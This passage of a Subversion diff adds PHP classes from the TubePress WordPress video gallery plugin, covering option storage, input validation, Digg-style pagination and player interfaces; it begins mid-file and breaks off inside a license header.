+            case org_tubepress_options_Type::QUALITY:
+                return array("normal", "high", "higher", "highest");
+            case org_tubepress_options_Type::MODE:
+                return array('favorites', 'playlist', 'tag', 'user', "recently_featured", "mobile", "most_discussed",
+                    "most_linked", "most_recent", "most_responded", "most_viewed",
+                    "top_rated");
+            case org_tubepress_options_Type::SAFE_SEARCH:
+                return array("none", "moderate", "strict");
+            case org_tubepress_options_Type::PLAYER_IMPL:
+                return array("youtube", "longtail");
+        }
+        return array("today", "this_week", "this_month", "all_time");
+    }
+
+    function isOptionName($candidateOptionName)
+    {
+        foreach ($this->_options as $optionType) {
+            if (array_key_exists($candidateOptionName, $optionType)) {
+                return true;
+            }
+        }
+        return false;
+    }
+
+    function getType($optionName)
+    {
+        foreach ($this->_options as $optionType => $values) {
+            if (array_key_exists($optionName, $values)) {
+                return $optionType;
+            }
+        }
+    }
+
+    private function _getConstantsForClass($className)
+    {
+        $ref = new ReflectionClass($className);
+        return array_values($ref->getConstants());
+    }
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/options/storage/AbstractStorageManager.class.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/options/storage/AbstractStorageManager.class.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/options/storage/AbstractStorageManager.class.php	(revision 44)
@@ -0,0 +1,158 @@
+<?php
+/**
+ * Copyright 2006, 2007, 2008, 2009 Eric D. Hough (http://ehough.com)
+ * 
+ * This file is part of TubePress (http://tubepress.org)
+ * 
+ * TubePress is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 3 of the License, or
+ * (at your option) any later version.
+ * 
+ * TubePress is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ * 
+ * You should have received a copy of the GNU General Public License
+ * along with TubePress.  If not, see <http://www.gnu.org/licenses/>.
+ *
+ */
+
+function_exists('tubepress_load_classes')
+    || require(dirname(__FILE__) . '/../../../../tubepress_classloader.php');
+tubepress_load_classes(array('org_tubepress_options_storage_StorageManager',
+    'org_tubepress_options_Type',
+    'org_tubepress_options_validation_InputValidationService',
+    'org_tubepress_options_reference_OptionsReference'));
+
+/**
+ * Handles persistent storage of TubePress options
+ *
+ */
+abstract class org_tubepress_options_storage_AbstractStorageManager implements org_tubepress_options_storage_StorageManager
+{   
+    private $_validationService;
+    private $_optionsReference;
+    
+    /**
+     * Creates an option in storage
+     *
+     * @param unknown_type $optionName  The name of the option to create
+     * @param unknown_type $optionValue The default value of the new option
+     * 
+     * @return void
+     */
+    protected abstract function create($optionName, $optionValue);    
+    
+    /**
+     * Print out debugging info for this
+     * storage manager
+     *
+     * @return void
+     */
+    public final function debug()
+    {
+        $allOpts = $this->_optionsReference->getAllOptionNames();
+        
+        $result = "Should have " . sizeof($allOpts) . " options total";
+        
+        $result .= "<ol>";
+        foreach ($allOpts as $opt) {
+            if ($this->exists($opt)) {
+                $result .= "<li><font color=\"green\">" .
+                    "$opt exists and its value is \"" . $this->get($opt) .
+                    "\"</font></li>";
+            } else {
+                $result .= "<li><font color=\"red\">" .
+                    "$opt does not exist!</font></li>";
+            }
+            
+        }
+        $result .= "</ol>";
+        return $result;
+    }    
+    
+    /**
+     * Deletes an option from storage
+     *
+     * @param unknown_type $optionName The name of the option to delete
+     * 
+     * @return void
+     */
+    protected abstract function delete($optionName);    
+     
+    /**
+     * Initialize the persistent storage
+     * 
+     * @return void
+     */
+    public final function init()
+    {
+        $allOptionNames = $this->_optionsReference->getAllOptionNames();
+        $vals = array();
+        foreach ($allOptionNames as $optionName) {
+            $vals[$optionName] = $this->_optionsReference->getDefaultValue($optionName);
+        }
+        
+        foreach($vals as $val => $key) {
+            $this->_init($val, $key);
+        }
+    }    
+
+    private function _init($name, $value)
+    {
+        if (!$this->exists($name)) {
+            $this->delete($name);
+            $this->create($name, $value);
+        }
+        if ($this->_optionsReference->getType($name) != org_tubepress_options_Type::BOOL
+            && $this->get($name) == "") {
+            $this->setOption($name, $value);        
+        }
+    }
+    
+    /**
+     * Sets an option value
+     *
+     * @param string       $optionName  The option name
+     * @param unknown_type $optionValue The option value
+     * 
+     * @return void
+     */
+    public final function set($optionName, $optionValue)
+    {
+        $this->_validationService->validate($optionName, $optionValue);
+        $this->setOption($optionName, $optionValue);
+    }    
+    
+    /**
+     * Sets an option to a new value, without validation
+     *
+     * @param string       $optionName  The name of the option to update
+     * @param unknown_type $optionValue The new option value
+     * 
+     * @return void
+     */
+    protected abstract function setOption($optionName, $optionValue);
+    
+    /**
+     * Set the org_tubepress_options_validation_InputValidationService
+     *
+     * @param org_tubepress_options_validation_InputValidationService $validationService The validation service
+     */
+    public function setValidationService(org_tubepress_options_validation_InputValidationService $validationService)
+    {
+        $this->_validationService = $validationService;
+    }
+    
+    /**
+     * Set the org_tubepress_options_reference_OptionsReference
+     *
+     * @param org_tubepress_options_reference_OptionsReference $reference The options reference
+     */
+    public function setOptionsReference(org_tubepress_options_reference_OptionsReference $reference)
+    {
+        $this->_optionsReference = $reference;
+    }
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/options/storage/StorageManager.class.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/options/storage/StorageManager.class.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/options/storage/StorageManager.class.php	(revision 44)
@@ -0,0 +1,76 @@
+<?php
+/**
+ * Copyright 2006, 2007, 2008, 2009 Eric D. Hough (http://ehough.com)
+ * 
+ * This file is part of TubePress (http://tubepress.org)
+ * 
+ * TubePress is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 3 of the License, or
+ * (at your option) any later version.
+ * 
+ * TubePress is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ * 
+ * You should have received a copy of the GNU General Public License
+ * along with TubePress.  If not, see <http://www.gnu.org/licenses/>.
+ *
+ */
+
+/**
+ * Handles persistent storage of TubePress options
+ *
+ */
+interface org_tubepress_options_storage_StorageManager
+{   
+    /**
+     * Print out debugging info for this
+     * storage manager
+     *
+     * @return void
+     */
+    public function debug();    
+    
+    /**
+     * Determines if an option exists
+     *
+     * @param string $optionName The name of the option in question
+     * 
+     * @return boolean True if the option exists, false otherwise
+     */
+    public function exists($optionName);
+    
+    /**
+     * Initialize the persistent storage
+     * 
+     * @return void
+     */
+    
+    /**
+     * Initializes the storage
+     *
+     * @return void
+     */
+    public function init();
+    
+    /**
+     * Retrieve the current value of an option
+     *
+     * @param string $optionName The name of the option
+     * 
+     * @return unknown_type The option's value
+     */
+    public function get($optionName);
+    
+    /**
+     * Sets an option value
+     *
+     * @param string       $optionName  The option name
+     * @param unknown_type $optionValue The option value
+     * 
+     * @return void
+     */
+    public function set($optionName, $optionValue);
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/options/storage/WordPressStorageManager.class.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/options/storage/WordPressStorageManager.class.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/options/storage/WordPressStorageManager.class.php	(revision 44)
@@ -0,0 +1,154 @@
+<?php
+/**
+ * Copyright 2006, 2007, 2008, 2009 Eric D. Hough (http://ehough.com)
+ * 
+ * This file is part of TubePress (http://tubepress.org)
+ * 
+ * TubePress is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 3 of the License, or
+ * (at your option) any later version.
+ * 
+ * TubePress is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ * 
+ * You should have received a copy of the GNU General Public License
+ * along with TubePress.  If not, see <http://www.gnu.org/licenses/>.
+ *
+ */
+
+function_exists('tubepress_load_classes')
+    || require(dirname(__FILE__) . '/../../../../tubepress_classloader.php');
+tubepress_load_classes(array('org_tubepress_options_storage_AbstractStorageManager',
+    'org_tubepress_options_reference_SimpleOptionsReference',
+    'org_tubepress_message_WordPressMessageService',
+    'org_tubepress_options_validation_SimpleInputValidationService'));
+
+/**
+ * Implementation of org_tubepress_options_storage_StorageManager that uses the
+ * regular WordPress options API
+ *
+ */
+class org_tubepress_options_storage_WordPressStorageManager extends org_tubepress_options_storage_AbstractStorageManager
+{
+    /*
+     * Prefix all our option names in the WordPress DB
+     * with this value. Helps avoid naming conflicts.
+     */
+    const OPTION_PREFIX = "tubepress-";
+    
+    /**
+     * Constructor. Until I can come up with a better way to validate options, this is gonna be how we
+     * check to make sure that the db is initialized.
+     * 
+     * @return unknown_type
+     */
+    public function __construct()
+	{
+	    $needToInit = false;
+	    
+	    if ($this->exists("version")) {
+	        $version = $this->get("version");
+	        if (!is_numeric($version) || $version < 180) {
+	           $needToInit = true;
+	        }
+	    } else {
+	        $this->create("version", 180);
+	        $needToInit = true;
+	    }
+	    
+	    if ($needToInit) {
+	        $reference = new org_tubepress_options_reference_SimpleOptionsReference();
+		    $msgService = new org_tubepress_message_WordPressMessageService();
+		    $validationService = new org_tubepress_options_validation_SimpleInputValidationService();
+		    $validationService->setMessageService($msgService);
+    	    $ref = new org_tubepress_options_reference_SimpleOptionsReference();
+	        $this->setValidationService($validationService);
+	        $this->setOptionsReference($ref);
+	        $this->init();
+	    }
+	}
+    
+    /**
+     * Creates an option in storage
+     *
+     * @param unknown_type $optionName  The name of the option to create
+     * @param unknown_type $optionValue The default value of the new option
+     * 
+     * @return void
+     */
+    protected function create($optionName, $optionValue)
+    {
+        add_option(org_tubepress_options_storage_WordPressStorageManager::OPTION_PREFIX . $optionName,
+            $optionValue);
+    }    
+    
+    /**
+     * Deletes an option from storage
+     *
+     * @param unknown_type $optionName The name of the option to delete
+     * 
+     * @return void
+     */
+    protected function delete($optionName)
+    {
+        delete_option(org_tubepress_options_storage_WordPressStorageManager::OPTION_PREFIX . $optionName);
+    }    
+    
+    /**
+     * Determines if an option exists
+     *
+     * @param string $optionName The name of the option in question
+     * 
+     * @return boolean True if the option exists, false otherwise
+     */
+    public function exists($optionName)
+    {
+        return get_option(org_tubepress_options_storage_WordPressStorageManager::OPTION_PREFIX . $optionName)
+           !== false;
+    }    
+    
+    /**
+     * Retrieve the current value of an option
+     *
+     * @param string $optionName The name of the option
+     * 
+     * @return unknown_type The option's value
+     */
+    public function get($optionName)
+    {
+        return get_option(org_tubepress_options_storage_WordPressStorageManager::OPTION_PREFIX . $optionName);
+    }
+    
+    /**
+     * Wipes out all TubePress options and replaces them with their defaults
+     * 
+     * @return void
+     */
+    public function nuclear()
+    {
+        $allOptions = get_alloptions();
+        foreach ($allOptions as $key => $value) {
+            if (preg_match("/^tubepress.*/", $key)) {
+                delete_option($key);
+            }
+        }
+        $this->init();
+    }    
+    
+    /**
+     * Sets an option to a new value, without validation
+     *
+     * @param string       $optionName  The name of the option to update
+     * @param unknown_type $optionValue The new option value
+     * 
+     * @return void
+     */
+    protected function setOption($optionName, $optionValue)
+    {
+        update_option(org_tubepress_options_storage_WordPressStorageManager::OPTION_PREFIX . $optionName,
+            $optionValue);
+    }
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/options/validation/InputValidationService.class.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/options/validation/InputValidationService.class.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/options/validation/InputValidationService.class.php	(revision 44)
@@ -0,0 +1,37 @@
+<?php
+/**
+ * Copyright 2006, 2007, 2008, 2009 Eric D. Hough (http://ehough.com)
+ * 
+ * This file is part of TubePress (http://tubepress.org)
+ * 
+ * TubePress is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 3 of the License, or
+ * (at your option) any later version.
+ * 
+ * TubePress is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ * 
+ * You should have received a copy of the GNU General Public License
+ * along with TubePress.  If not, see <http://www.gnu.org/licenses/>.
+ *
+ */
+
+/**
+ * Performs validation on option values
+ */
+interface org_tubepress_options_validation_InputValidationService
+{
+    /**
+     * Validates an option value. Will throw an Exception if validation
+     * fails.
+     *
+     * @param string       $name      The option name
+     * @param unknown_type $candidate The candidate option value
+     *
+     * @return void
+    */
+    public function validate($name, $candidate);
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/options/validation/SimpleInputValidationService.class.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/options/validation/SimpleInputValidationService.class.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/options/validation/SimpleInputValidationService.class.php	(revision 44)
@@ -0,0 +1,111 @@
+<?php
+/**
+ * Copyright 2006, 2007, 2008, 2009 Eric D. Hough (http://ehough.com)
+ * 
+ * This file is part of TubePress (http://tubepress.org)
+ * 
+ * TubePress is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 3 of the License, or
+ * (at your option) any later version.
+ * 
+ * TubePress is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ * 
+ * You should have received a copy of the GNU General Public License
+ * along with TubePress.  If not, see <http://www.gnu.org/licenses/>.
+ *
+ */
+
+function_exists('tubepress_load_classes')
+    || require(dirname(__FILE__) . '/../../../../tubepress_classloader.php');
+tubepress_load_classes(array('org_tubepress_options_validation_InputValidationService',
+    'org_tubepress_options_category_Display',
+    'org_tubepress_message_MessageService'));
+
+/**
+ * Default implementation of org_tubepress_options_validation_InputValidationService
+ */
+class org_tubepress_options_validation_SimpleInputValidationService implements org_tubepress_options_validation_InputValidationService
+{
+    private $_messageService;
+    
+    /**
+     * @see org_tubepress_options_validation_InputValidationService::validate($optionName, $candidate)
+    */
+    public function validate($optionName, $candidate)
+    {   
+        switch ($optionName) {
+        
+        case org_tubepress_options_category_Display::THUMB_HEIGHT:
+            $this->
+                _integerValidation(org_tubepress_options_category_Display::THUMB_HEIGHT, 
+                $candidate, 1, 90);
+            break;
+
+        case org_tubepress_options_category_Display::THUMB_WIDTH:
+            $this->
+                _integerValidation(org_tubepress_options_category_Display::THUMB_WIDTH, 
+                $candidate, 1, 120);
+            break;
+
+        case org_tubepress_options_category_Display::RESULTS_PER_PAGE:
+            $this->
+                _integerValidation(org_tubepress_options_category_Display::RESULTS_PER_PAGE, 
+                $candidate, 1, 50);
+            break;
+        }
+    }
+    
+    /**
+     * Validates text values
+     *
+     * @param string       $name      The name of the option being updated
+     * @param unknown_type $candidate The new value for this option
+     *      
+     * @return void
+     */
+    private function _textValidation($name, $candidate)
+    {
+        if (!is_string($candidate)) {
+            throw new Exception(sprintf($this->_messageService->_("validation-text"), 
+                $name, $candidate));
+        }
+    }
+    
+    /**
+     * Validates integral values
+     *
+     * @param string       $name      The name of the option being updated
+     * @param unknown_type $candidate The new value for this option
+     * @param int          $min       The minimum (inclusive) value this option 
+     *                                 can take
+     * @param int          $max       The maximum (inclusive) value this option 
+     *                                 can take
+     *      
+     * @return void
+     */
+    private function _integerValidation($name, $candidate, $min, $max)
+    {
+        
+        if (intval($candidate) == 0) {
+            throw new Exception(sprintf($this->_messageService->_("validation-int-type"), 
+                $name, $candidate));
+        }
+        
+        if ($candidate < $min || $candidate > $max) {
+            throw new Exception(sprintf($this->_messageService->_("validation-int-range"), 
+                $name, $min, $max, $candidate));
+        }
+    }
+   
+    /**
+     * @see org_tubepress_options_validation_InputValidationService::setMessageService($messageService)
+     */
+    public function setMessageService(org_tubepress_message_MessageService $messageService)
+    {
+        $this->_messageService = $messageService;
+    }
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/pagination/DiggStylePaginationService.class.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/pagination/DiggStylePaginationService.class.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/pagination/DiggStylePaginationService.class.php	(revision 44)
@@ -0,0 +1,198 @@
+<?php
+/**
+ * Copyright 2006, 2007, 2008, 2009 Eric D. Hough (http://ehough.com)
+ * 
+ * This file is part of TubePress (http://tubepress.org)
+ * 
+ * TubePress is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 3 of the License, or
+ * (at your option) any later version.
+ * 
+ * TubePress is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ * 
+ * You should have received a copy of the GNU General Public License
+ * along with TubePress.  If not, see <http://www.gnu.org/licenses/>.
+ *
+ */
+
+function_exists('tubepress_load_classes')
+    || require(dirname(__FILE__) . '/../../../tubepress_classloader.php');
+tubepress_load_classes(array('org_tubepress_pagination_PaginationService',
+    'org_tubepress_options_category_Display',
+    'net_php_pear_Net_URL2',
+    'org_tubepress_message_MessageService',
+    'org_tubepress_querystring_QueryStringService',
+    'org_tubepress_options_manager_OptionsManager'));
+
+/**
+ * General purpose cache for TubePress
+ */
+class org_tubepress_pagination_DiggStylePaginationService implements org_tubepress_pagination_PaginationService
+{
+    private $_messageService;
+    private $_tpom;
+    private $_queryStringService;
+    
+    public function getHtml($vidCount)
+    {
+        $currentPage = $this->_queryStringService->getPageNum($_GET);
+        $vidsPerPage = $this->_tpom->
+            get(org_tubepress_options_category_Display::RESULTS_PER_PAGE);
+    
+        $newurl = new net_php_pear_Net_URL2($this->_queryStringService->getFullUrl($_SERVER));
+        $newurl->unsetQueryVariable("tubepress_page");
+
+        return $this->_diggStyle($this->_messageService, $currentPage, $vidCount,
+            $vidsPerPage, 1, $newurl->getURL(), 
+                "tubepress_page");
+    }
+    
+    public function setMessageService(org_tubepress_message_MessageService $messageService) { $this->_messageService = $messageService; }
+    public function setQueryStringService(org_tubepress_querystring_QueryStringService $queryStringService) { $this->_queryStringService = $queryStringService; }
+    public function setOptionsManager(org_tubepress_options_manager_OptionsManager $tpom) { $this->_tpom = $tpom; }
+    
+    //function to return the pagination string
+    private function _diggStyle(org_tubepress_message_MessageService $messageService, $page = 1, $totalitems, $limit = 15, $adjacents = 1, $targetpage = "/", $pagestring = "?page=")
+    {   
+        //defaults
+        if(!$adjacents) $adjacents = 1;
+        if(!$limit) $limit = 15;
+        if(!$page) $page = 1;
+        if(!$targetpage) $targetpage = "/";
+        
+        //other vars
+        $prev = $page - 1;                                    //previous page is page - 1
+        $next = $page + 1;                                    //next page is page + 1
+        $lastpage = ceil($totalitems / $limit);                //lastpage is = total items / items per page, rounded up.
+        $lpm1 = $lastpage - 1;                                //last page minus 1
+        
+        /* 
+            Now we apply our rules and draw the pagination object. 
+            We're actually saving the code to a variable in case we want to draw it more than once.
+        */
+        $pagination = "";
+        
+        $url = new net_php_pear_Net_URL2($targetpage);
+    
+        if($lastpage > 1)
+        {    
+            $pagination .= "<div class=\"pagination\"";
+    
+            $pagination .= ">";
+    
+            //previous button
+            if ($page > 1) {
+                $url->setQueryVariable($pagestring, $prev);
+                $newurl = $url->getURL();
+                $pagination .= "<a href=\"$newurl\">" . $messageService->_("prev") . "</a>";
+            }
+            else
+                $pagination .= "<span class=\"disabled\">" . $messageService->_("prev") . "</span>";    
+    
+            //pages    
+            if ($lastpage < 7 + ($adjacents * 2))    //not enough pages to bother breaking it up
+            {    
+                for ($counter = 1; $counter <= $lastpage; $counter++)
+                {
+                    if ($counter == $page)
+                        $pagination .= "<span class=\"current\">$counter</span>";
+                    else {
+                        $url->setQueryVariable($pagestring, $counter);
+                        $newurl = $url->getURL();
+                        $pagination .= "<a href=\"$newurl\">$counter</a>";
+                    }            
+                }
+            }
+            elseif($lastpage >= 7 + ($adjacents * 2))    //enough pages to hide some
+            {
+                //close to beginning; only hide later pages
+                if($page < 1 + ($adjacents * 3))        
+                {
+                    for ($counter = 1; $counter < 4 + ($adjacents * 2); $counter++)
+                    {
+                        if ($counter == $page)
+                            $pagination .= "<span class=\"current\">$counter</span>";
+                        else {
+                            $url->setQueryVariable($pagestring, $counter);
+                            $newurl = $url->getURL();
+                            $pagination .= "<a href=\"$newurl\">$counter</a>";
+                        }                
+                    }
+                    $pagination .= "...";
+                    $url->setQueryVariable($pagestring, $lpm1);
+                    $newurl = $url->getURL();
+                    $pagination .= " <a href=\"$newurl\">$lpm1</a>";
+                    $url->setQueryVariable($pagestring, $lastpage);
+                    $newurl = $url->getURL();
+                    $pagination .= "<a href=\"$newurl\">$lastpage</a>";        
+                }
+                //in middle; hide some front and some back
+                elseif($lastpage - ($adjacents * 2) > $page && $page > ($adjacents * 2))
+                {
+                    $url->setQueryVariable($pagestring, 1);
+                    $newurl = $url->getURL();
+                    $pagination .= "<a href=\"$newurl\">1</a>";
+                    $url->setQueryVariable($pagestring, 2);
+                    $newurl = $url->getURL();
+                    $pagination .= "<a href=\"$newurl\">2</a>";
+                    $pagination .= "...";
+                    for ($counter = $page - $adjacents; $counter <= $page + $adjacents; $counter++)
+                    {
+                        if ($counter == $page)
+                            $pagination .= "<span class=\"current\">$counter</span>";
+                        else {
+                            $url->setQueryVariable($pagestring, $counter);
+                            $newurl = $url->getURL();
+                            $pagination .= " <a href=\"$newurl\">$counter</a>";
+                        }            
+                    }
+                    $pagination .= "...";
+                    
+                    $url->setQueryVariable($pagestring, $lpm1);
+                    $newurl = $url->getURL();
+                    $pagination .= " <a href=\"$newurl\">$lpm1</a>";
+                    $url->setQueryVariable($pagestring, $lastpage);
+                    $newurl = $url->getURL();
+                    $pagination .= " <a href=\"$newurl\">$lastpage</a>";        
+                }
+                //close to end; only hide early pages
+                else
+                {
+                    $url->setQueryVariable($pagestring, 1);
+                    $newurl = $url->getURL();
+                    $pagination .= "<a href=\"$newurl\">1</a>";
+                    $url->setQueryVariable($pagestring, 2);
+                    $newurl = $url->getURL();
+                    $pagination .= "<a href=\"$newurl\">2</a>";
+                    $pagination .= "...";
+                    for ($counter = $lastpage - (1 + ($adjacents * 3)); $counter <= $lastpage; $counter++)
+                    {
+                        if ($counter == $page)
+                            $pagination .= "<span class=\"current\">$counter</span>";
+                        else {
+                            $url->setQueryVariable($pagestring, $counter);
+                            $newurl = $url->getURL();
+                            $pagination .= " <a href=\"$newurl\">$counter</a>";    
+                        }
+                                            
+                    }
+                }
+            }
+            //next button
+            if ($page < $counter - 1) {
+                $url->setQueryVariable($pagestring, $next);
+                $newurl = $url->getURL();
+                $pagination .= "<a href=\"$newurl\">" . $messageService->_("next") . "</a>";
+            } else {
+                $pagination .= "<span class=\"disabled\">" . $messageService->_("next") . "</span>";
+            }
+            $pagination .= "</div>\n";
+        }
+        
+        return $pagination;
+    }
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/pagination/PaginationService.class.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/pagination/PaginationService.class.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/pagination/PaginationService.class.php	(revision 44)
@@ -0,0 +1,28 @@
+<?php
+/**
+ * Copyright 2006, 2007, 2008, 2009 Eric D. Hough (http://ehough.com)
+ * 
+ * This file is part of TubePress (http://tubepress.org)
+ * 
+ * TubePress is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 3 of the License, or
+ * (at your option) any later version.
+ * 
+ * TubePress is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ * 
+ * You should have received a copy of the GNU General Public License
+ * along with TubePress.  If not, see <http://www.gnu.org/licenses/>.
+ *
+ */
+
+/**
+ * General purpose cache for TubePress
+ */
+interface org_tubepress_pagination_PaginationService
+{
+    public function getHtml($totalResults);
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/player/AbstractPlayer.class.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/player/AbstractPlayer.class.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/player/AbstractPlayer.class.php	(revision 44)
@@ -0,0 +1,57 @@
+<?php
+/**
+ * Copyright 2006, 2007, 2008, 2009 Eric D. Hough (http://ehough.com)
+ * 
+ * This file is part of TubePress (http://tubepress.org)
+ * 
+ * TubePress is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 3 of the License, or
+ * (at your option) any later version.
+ * 
+ * TubePress is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ * 
+ * You should have received a copy of the GNU General Public License
+ * along with TubePress.  If not, see <http://www.gnu.org/licenses/>.
+ *
+ */
+
+function_exists('tubepress_load_classes')
+    || require(dirname(__FILE__) . '/../../../tubepress_classloader.php');
+tubepress_load_classes(array('org_tubepress_player_Player',
+    'org_tubepress_ioc_ContainerAware',
+    'org_tubepress_options_manager_OptionsManager',
+    'org_tubepress_ioc_IocService'));
+
+/**
+ * A TubePress "player", such as lightWindow, GreyBox, popup window, etc
+ */
+abstract class org_tubepress_player_AbstractPlayer implements org_tubepress_player_Player, org_tubepress_ioc_ContainerAware
+{   
+    private $_optionsManager;
+    private $_iocContainer;
+    
+    public function setOptionsManager(org_tubepress_options_manager_OptionsManager $optionsManager)
+    {
+        $this->_optionsManager = $optionsManager;
+    }
+    
+    protected function getOptionsManager()
+    {
+        return $this->_optionsManager;
+    }
+    
+    public function setContainer(org_tubepress_ioc_IocService $container)
+    {
+        $this->_iocContainer = $container;
+    }
+    
+    protected function getContainer()
+    {
+        return $this->_iocContainer;
+    }
+}
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/player/Player.class.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/player/Player.class.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/player/Player.class.php	(revision 44)
@@ -0,0 +1,40 @@
+<?php
+/**
+ * Copyright 2006, 2007, 2008, 2009 Eric D. Hough (http://ehough.com)
+ * 
+ * This file is part of TubePress (http://tubepress.org)
+ * 
+ * TubePress is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 3 of the License, or
+ * (at your option) any later version.
+ * 
+ * TubePress is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ * 
+ * You should have received a copy of the GNU General Public License
+ * along with TubePress.  If not, see <http://www.gnu.org/licenses/>.
+ *
+ */
+
+function_exists('tubepress_load_classes')
+    || require(dirname(__FILE__) . '/../../../tubepress_classloader.php');
+tubepress_load_classes(array('org_tubepress_video_Video'));
+
+/**
+ * A TubePress "player", such as lightWindow, GreyBox, popup window, etc
+ */
+interface org_tubepress_player_Player
+{
+    const NORMAL      = "normal";
+    const POPUP       = "popup";
+    const SHADOWBOX   = "shadowbox";
+    const COLORBOX    = 'colorbox'; 
+    const JQMODAL     = 'jqmodal';
+    const YOUTUBE     = "youtube";
+    
+    public function getPreGalleryHtml(org_tubepress_video_Video $vid, $galleryId);
+}
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/player/impl/ModalPlayer.class.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/player/impl/ModalPlayer.class.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/player/impl/ModalPlayer.class.php	(revision 44)
@@ -0,0 +1,49 @@
+<?php
+/**
+ * Copyright 2006, 2007, 2008, 2009 Eric D. Hough (http://ehough.com)
+ * 
+ * This file is part of TubePress (http://tubepress.org)
+ * 
+ * TubePress is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 3 of the License, or
+ * (at your option) any later version.
+ * 
+ * TubePress is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ * 
+ * You should have received a copy of the GNU General Public License
